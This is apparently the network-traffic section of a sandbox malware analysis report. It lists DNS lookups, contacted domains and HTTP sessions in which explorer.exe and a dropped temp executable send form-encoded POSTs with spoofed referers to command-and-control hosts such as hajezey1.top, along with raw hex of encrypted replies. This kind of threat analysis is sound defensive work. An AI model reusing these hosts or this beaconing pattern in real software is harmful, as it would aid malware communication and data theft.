185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:02.417164087 
CEST

8.8.8.8 192.168.2.6 0xf8f9 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:02.676831007 
CEST

8.8.8.8 192.168.2.6 0x91be No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:17.513787031 
CEST

8.8.8.8 192.168.2.6 0xffd3 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:17.714283943 
CEST

8.8.8.8 192.168.2.6 0x5457 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:17.872169018 
CEST

8.8.8.8 192.168.2.6 0x45ab No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:18.038615942 
CEST

8.8.8.8 192.168.2.6 0x1a42 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:18.217578888 
CEST

8.8.8.8 192.168.2.6 0x103a No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:20.427656889 
CEST

8.8.8.8 192.168.2.6 0x439f No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:20.606359959 
CEST

8.8.8.8 192.168.2.6 0x85c1 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:20.792615891 
CEST

8.8.8.8 192.168.2.6 0x5a7c No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:20.973515034 
CEST

8.8.8.8 192.168.2.6 0x7576 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

DNS Answers
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Oct 29, 2021 
17:55:22.870615005 
CEST

8.8.8.8 192.168.2.6 0x7019 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:23.543827057 
CEST

8.8.8.8 192.168.2.6 0xaa00 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:25.555727959 
CEST

8.8.8.8 192.168.2.6 0xd29a No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:25.555727959 
CEST

8.8.8.8 192.168.2.6 0xd29a No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:25.555727959 
CEST

8.8.8.8 192.168.2.6 0xd29a No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:25.555727959 
CEST

8.8.8.8 192.168.2.6 0xd29a No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:25.555727959 
CEST

8.8.8.8 192.168.2.6 0xd29a No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.629108906 
CEST

8.8.8.8 192.168.2.6 0x7f98 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.804874897 
CEST

8.8.8.8 192.168.2.6 0x6505 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.956058025 
CEST

8.8.8.8 192.168.2.6 0x74cb No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.956058025 
CEST

8.8.8.8 192.168.2.6 0x74cb No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.956058025 
CEST

8.8.8.8 192.168.2.6 0x74cb No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.956058025 
CEST

8.8.8.8 192.168.2.6 0x74cb No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.956058025 
CEST

8.8.8.8 192.168.2.6 0x74cb No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:27.977127075 
CEST

8.8.8.8 192.168.2.6 0xb17f No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:28.222073078 
CEST

8.8.8.8 192.168.2.6 0x310b No error (0) iyc.jelikob.ru 81.177.141.36 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:28.660132885 
CEST

8.8.8.8 192.168.2.6 0xf7b0 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:28.846453905 
CEST

8.8.8.8 192.168.2.6 0x615b No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:29.011831999 
CEST

8.8.8.8 192.168.2.6 0x331f No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:29.199457884 
CEST

8.8.8.8 192.168.2.6 0x74f5 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:31.139262915 
CEST

8.8.8.8 192.168.2.6 0x1456 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:31.314423084 
CEST

8.8.8.8 192.168.2.6 0xceae No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:31.905128956 
CEST

8.8.8.8 192.168.2.6 0x8cae No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:32.093822002 
CEST

8.8.8.8 192.168.2.6 0x1a63 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:32.270860910 
CEST

8.8.8.8 192.168.2.6 0xd64a No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:35.062475920 
CEST

8.8.8.8 192.168.2.6 0xebd5 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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Oct 29, 2021 
17:55:35.062475920 
CEST

8.8.8.8 192.168.2.6 0xebd5 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:35.062475920 
CEST

8.8.8.8 192.168.2.6 0xebd5 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:35.062475920 
CEST

8.8.8.8 192.168.2.6 0xebd5 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:35.062475920 
CEST

8.8.8.8 192.168.2.6 0xebd5 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:36.919922113 
CEST

8.8.8.8 192.168.2.6 0x50b0 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:37.093785048 
CEST

8.8.8.8 192.168.2.6 0xf56d No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:37.280358076 
CEST

8.8.8.8 192.168.2.6 0xfc0e No error (0) sysaheu90.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:44.077429056 
CEST

8.8.8.8 192.168.2.6 0xd3c8 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:44.252315998 
CEST

8.8.8.8 192.168.2.6 0xc019 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:44.487469912 
CEST

8.8.8.8 192.168.2.6 0x5485 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:44.711740971 
CEST

8.8.8.8 192.168.2.6 0x6c97 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:45.003561974 
CEST

8.8.8.8 192.168.2.6 0x59ff No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:45.205607891 
CEST

8.8.8.8 192.168.2.6 0x764b No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:45.405375004 
CEST

8.8.8.8 192.168.2.6 0xf4c7 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:45.586412907 
CEST

8.8.8.8 192.168.2.6 0x4935 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:52.108186960 
CEST

8.8.8.8 192.168.2.6 0x85a0 Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:55.291672945 
CEST

8.8.8.8 192.168.2.6 0xf230 Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:55:58.565843105 
CEST

8.8.8.8 192.168.2.6 0xe9f4 Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:02.513814926 
CEST

8.8.8.8 192.168.2.6 0xd3c4 Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:04.701968908 
CEST

8.8.8.8 192.168.2.6 0x9621 No error (0) nusurtal4f.net 45.141.84.21 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 5.163.179.4 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 91.203.174.38 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 61.36.14.230 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 222.236.49.123 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 211.168.197.211 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 179.52.22.168 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 151.251.30.69 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 175.126.109.15 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 118.33.109.122 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:05.481338978 
CEST

8.8.8.8 192.168.2.6 0x5054 No error (0) znpst.top 31.166.224.38 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:06.109672070 
CEST

8.8.8.8 192.168.2.6 0xcd69 Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:09.387510061 
CEST

8.8.8.8 192.168.2.6 0x83cb Name error (3) telegalive.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:10.161005020 
CEST

8.8.8.8 192.168.2.6 0x2672 No error (0) toptelete.top 104.21.9.146 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:10.161005020 
CEST

8.8.8.8 192.168.2.6 0x2672 No error (0) toptelete.top 172.67.160.46 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:16.758735895 
CEST

8.8.8.8 192.168.2.6 0x610 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:16.758735895 
CEST

8.8.8.8 192.168.2.6 0x610 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:16.758735895 
CEST

8.8.8.8 192.168.2.6 0x610 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:16.758735895 
CEST

8.8.8.8 192.168.2.6 0x610 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:16.758735895 
CEST

8.8.8.8 192.168.2.6 0x610 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:17.081147909 
CEST

8.8.8.8 192.168.2.6 0x7a4e No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:27.212325096 
CEST

8.8.8.8 192.168.2.6 0xebe1 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:27.212325096 
CEST

8.8.8.8 192.168.2.6 0xebe1 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:27.212325096 
CEST

8.8.8.8 192.168.2.6 0xebe1 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:27.212325096 
CEST

8.8.8.8 192.168.2.6 0xebe1 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:27.212325096 
CEST

8.8.8.8 192.168.2.6 0xebe1 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Oct 29, 2021 
17:56:31.124711990 
CEST

8.8.8.8 192.168.2.6 0xcd72 No error (0) mas.to 88.99.75.82 A (IP address) IN (0x0001)

Oct 29, 2021 
17:57:06.874423981 
CEST

8.8.8.8 192.168.2.6 0xe273 No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)

Oct 29, 2021 
17:57:07.230710030 
CEST

8.8.8.8 192.168.2.6 0x163 No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)

Oct 29, 2021 
17:57:22.324506998 
CEST

8.8.8.8 192.168.2.6 0x9e0a No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
cdn.discordapp.com

            
iyc.jelikob.ru

HTTP Request Dependency Graph
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agvlhndt.com

hajezey1.top

            
dyrgluo.org

            
privacytoolzforyou-6000.top

            
ctwwxytaud.net

            
wpicrcm.com

            
fklpf.org

            
bxdspskl.net

            
isiuwvkkoj.com

            
pmdvv.com

            
jyoho.org

            
fpdmgcvxb.com

            
fxurvqy.com

            
vlsulvkdg.com

            
cwdaqy.com

            
llaraxn.com

            
jibms.org

            
mowuyooy.org

            
okikkrhv.org

            
pjlnqmhpvc.com

            
hcgnyqptt.net

            
ithapmr.net

            
gauqw.com

            
vqosa.com

            
kdacdmichm.net

            
fsluxk.org

            
dpiqpnl.org

            
tysqt.net

            
dhskdgpx.com

            
oihlnqbyqp.org

            
xbtscsiiqr.net
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sysaheu90.top

            
fchldji.org

            
narjywxfra.net

            
pkxhixnn.org

            
xjjqkp.com

            
sqgxbwy.com

            
yvrtx.org

            
vyivfmetg.org

            
wdgyfowqds.org

            
nusurtal4f.net

            
znpst.top

            
toptelete.top

            
194.180.174.181

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49799 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49805 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.6 49763 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:02.758733034 CEST

1436 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://wpicrcm.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 229
Host: hajezey1.top

Oct 29, 2021 
17:55:02.838700056 CEST

1437 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 
91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2cI:82OI:@_MqBJK,0

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.6 49766 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:17.567290068 CEST

1467 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fklpf.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273
Host: hajezey1.top

Oct 29, 2021 
17:55:17.647293091 CEST

1468 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.6 49767 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:17.766813040 CEST

1470 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://bxdspskl.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 138
Host: hajezey1.top

Oct 29, 2021 
17:55:17.844218969 CEST

1471 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.6 49770 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Oct 29, 2021 
17:55:17.925364017 CEST

1475 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://isiuwvkkoj.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 214
Host: hajezey1.top

Oct 29, 2021 
17:55:18.005929947 CEST

1475 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.2.6 49771 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:18.092125893 CEST

1482 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pmdvv.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 163
Host: hajezey1.top

Oct 29, 2021 
17:55:18.171102047 CEST

1487 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

15 192.168.2.6 49772 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:18.271374941 CEST

1488 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://jyoho.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 323
Host: hajezey1.top
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Oct 29, 2021 
17:55:18.349944115 CEST

1490 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b 
f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 
e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 
f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 
0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 
8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 
3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 
14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 
64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 
42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 
6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 
d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 
15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 
0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f 
fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f 
ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 
b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 
